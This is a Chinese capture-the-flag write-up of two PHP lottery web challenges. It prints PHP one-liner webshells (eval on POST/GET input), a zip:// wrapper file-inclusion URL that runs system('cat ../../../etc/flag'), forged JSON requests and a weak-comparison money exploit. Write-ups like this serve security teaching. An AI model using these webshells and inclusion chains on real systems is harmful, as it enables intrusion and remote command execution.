攻防世界Lottery&彩票系統
做了下有關於彩票系統的題,一道是攻防世界上的lottery,還有一道是升級版的彩票系統。
Lottery
准備工作
點擊play to win,會來到注冊界面,隨便注冊一個號,會來到buy的頁面。一開始我們有20元錢,買flag需要$9990000,錢不夠,那么一定是需要修改賬戶金額的(歐皇除外
抓個買彩票的包看看,numbers是用戶輸入的彩票,后端生成一個win_numbers來進行逐位比較。
git源碼泄露
在robots.txt下看到
User-agent: *
Disallow: /.git/
直接想到git源碼泄露,用git_extract拿到源碼
php弱類型比較
審計一下api.php,發現buy的函數
function buy($req){
require_registered();
require_min_money(2);
$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
switch ($same_count) {
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}
$win_numbers是隨機生成的字符串,使用php弱類型松散比較,所以此處就是我們可以利用的漏洞。測試一下,發現當true和一個數字或者字母進行比較的時候,永遠返回true
json支持布爾類型,改包如下,直接中大獎,舒服了。這樣就可以一直刷錢了(非酋集合!火速刷錢,點擊就送)
刷夠錢買flag,拿下!
彩票系統
這道題涉及之前的php弱類型比較,還有文件上傳+偽協議文件包含
這道題的環境在安恆的某次比賽上,這邊就不放了,如果之后上線buu那就好了。
看一下截圖來跟我雲復現一下吧。
准備工作
前端風格和剛才做的lottery很像,一個模子刻出來的。也是注冊賬號買彩票,抓一下買彩票的包
這次有了上一道題的基礎,直接改包刷錢
去賬戶信息里看看,發現有個用戶權限,提示普通用戶,那么是不是有管理員呢?繼續看下去,發現刷錢只能刷到$5000000
去交易市場看一下,有兩個button,一個是買flag的,一個是買hint的,點擊沒有反應,猜測是沒有提交json數據,所以需要我們去構造。
構造請求
方法一
這里我們利用上一題買flag時發送的請求看看,發現傳了{"action":"flag"}
購買flag會說錢不夠,把我們的錢鎖在了$5000000,所以只能購買hint,構造包如下。
POST /api.php HTTP/1.1
Host: das.wetolink.com:44002
Content-Length: 19
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Content-Type: application/json
Origin: http://das.wetolink.com:44002
Referer: http://das.wetolink.com:44002/market.php
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: username="2|1:0|10:1596766380|8:username|8:MTIzNDU2|b9c1d7c0c7aecf6f4ba175badf38d35a6be3e07f4974b65621f946482cad03be"; commodity_id="2|1:0|10:1596766421|12:commodity_id|4:Mzg=|93ef8f80732e0c1ecf27ba02c267920523e81a2a5b6c4b9a46a5f022d882d6ef"; PHPSESSID=qjte61iu96k6qrkf4po093iib6
Connection: close
{"action":"hint"}
獲得管理員的賬號和密碼
方法二
查看源碼,在js里找到ajax請求,復制到控制台里
直接請求flag會說哥們錢不夠,因為把我們錢鎖在了$5000000
把flag請求改成hint發送,購買成功
得到管理員賬號密碼
文件上傳+偽協議文件包含
用管理員帳號登錄,發現權限已經變成超級管理員
可以看到有一個黑產頁面信息處理頁面
文件上傳只允許上傳docx文件,docx本身是一個壓縮包,可以在docx里插入一個aaa.php,里面寫入一句話木馬。
post型蟻劍連
<?php @eval($_POST[a]);?>
上傳docx文件,上傳成功,然后利用php的zip偽協議包含改文件
http://das.wetolink.com:44002/bill.php?page=zip://./uploads/2f8bc07bf1a7c44b73d93cda8ba3945328bb584d.docx%23aaa
%23是url編碼下的#然后aaa不加后綴是因為會自動幫你加上
用蟻劍連接getshell
flag在etc/flag下
get型命令執行
<?php @eval($_GET[b]);?>
同樣的,把php文件丟進改了后綴的docx文件里
偽協議包含下
http://das.wetolink.com:44002/bill.php?page=zip://./uploads/efc3256cbfa62bc501c73d0f0f5a850f863b764d.docx%23bbb&b=system('ls');
命令執行成功
在etc/flag找到flag
http://das.wetolink.com:44002/bill.php?page=zip://./uploads/efc3256cbfa62bc501c73d0f0f5a850f863b764d.docx%23bbb&b=system('cat ../../../etc/flag');